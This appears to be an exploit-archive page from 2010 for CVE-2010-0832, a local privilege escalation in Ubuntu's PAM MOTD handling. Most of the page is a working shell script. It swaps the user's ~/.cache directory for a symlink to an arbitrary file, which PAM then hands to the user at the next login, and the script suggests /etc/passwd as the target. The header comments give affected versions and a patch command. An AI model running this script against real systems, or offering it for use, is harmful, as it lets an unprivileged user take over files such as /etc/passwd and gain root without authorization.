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Ubuntu PAM MOTD File Tampering (Privilege Escalation)

Posted on 08 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Ubuntu PAM MOTD File Tampering (Privilege Escalation)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=====================================================
Ubuntu PAM MOTD File Tampering (Privilege Escalation)
=====================================================


#!/bin/sh
#
# Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation)
# Date: July 7, 2010
# Author: Kristian Erik Hermansen &lt;kristian.hermansen@gmail.com&gt;
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 10.04 LTS (Lucid Lynx)
# CVE : CVE-2010-0832
#
# Notes: Affects Ubuntu 9.10 and 10.04 LTS
# [Patch Instructions]
# $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i
#
 
if [ $# -eq 0 ]; then
    echo &quot;Usage: $0 /path/to/file&quot;
    exit 1
fi
 
mkdir $HOME/backup 2&gt; /dev/null
tmpdir=$(mktemp -d --tmpdir=$HOME/backup/)
mv $HOME/.cache/ $tmpdir 2&gt; /dev/null
echo &quot;
@@@ File before tampering ...
&quot;
ls -l $1
ln -sf $1 $HOME/.cache
echo &quot;
@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :)  File will then be owned by your user.  Try /etc/passwd...
&quot;


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